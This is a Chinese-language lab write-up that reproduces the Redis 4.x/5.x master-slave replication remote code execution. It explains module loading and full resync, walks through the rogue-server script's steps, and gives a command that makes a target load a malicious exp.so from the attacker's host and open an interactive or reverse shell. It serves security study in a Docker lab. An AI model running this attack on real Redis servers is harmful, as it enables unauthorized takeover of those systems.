靶场配置
1 | docker pull damonevking/redis5.0 |
访问127.0.0.1:6379,出现如下图显示则搭建成功

漏洞原理
恶意模块加载
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。
[下载so文件放到和redis,py一个目录](GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE)
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
当slave向master发送PSYNC命令之后,一般会得到三种回复:
1 | +FULLRESYNC:进行全量复制。 |
进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件。
为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。
漏洞利用过程
漏洞利用前提条件:Redis未授权或弱口令
- 启动恶意服务器(RogueServer):
- 脚本首先创建一个
RogueServer实例,它在自己的机器上监听特定的端口,等待目标 Redis 服务器的连接。
- 脚本首先创建一个
- 连接目标 Redis 服务器:
- 使用
Remote类,脚本连接到目标 Redis 服务器的指定端口。
- 使用
- 认证(如果需要):
- 如果目标 Redis 服务器设置了密码保护,脚本会使用提供的密码进行认证。
- 发送 SLAVEOF 命令:
- 脚本向目标 Redis 服务器发送
SLAVEOF命令,使目标服务器将恶意服务器作为其主服务器。这会导致目标服务器尝试从恶意服务器同步数据。
- 脚本向目标 Redis 服务器发送
- 建立连接:
- 目标 Redis 服务器尝试连接到恶意服务器并发送同步请求。
- 处理同步请求:
- 当恶意服务器接收到目标服务器的同步请求时,它会根据请求类型(如
PING,REPLCONF,AUTH,PSYNC,SYNC)返回相应的响应。
- 当恶意服务器接收到目标服务器的同步请求时,它会根据请求类型(如
- 发送恶意负载:
- 在处理
PSYNC或SYNC请求时,恶意服务器发送一个恶意的 Redis 模块(exp.so),这个模块包含了可以执行远程代码的代码。
- 在处理
- 加载恶意模块:
- 目标 Redis 服务器加载并执行发送过来的恶意模块,这通常会导致远程代码执行。
- 交互式 Shell 或反向 Shell:
- 根据用户的选择,脚本可以提供一个交互式 Shell 或发送一个反向 Shell 到攻击者指定的地址和端口,从而允许攻击者控制目标服务器。
- 清理:
- 在完成操作后,脚本会执行清理操作,包括卸载恶意模块、删除恶意文件、将目标 Redis 服务器重置为主服务器状态。
- 关闭连接:
- 最后,脚本关闭与目标 Redis 服务器的连接,以及恶意服务器的监听 socket。
漏洞复现
1 | python3 redis-rce.py -r 192.168.159.132(目标ip) -L 192.168.159.1(自己的ip) -f exp.so |
在此处:i为交互式shell,r为反弹shell,根据自己的需要选择就可以了
交互式shell

反弹shell


参考
Redis基于主从复制的RCE 4.x/5.x 复现 - PaperPen | 长亭百川云 (chaitin.cn)
GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE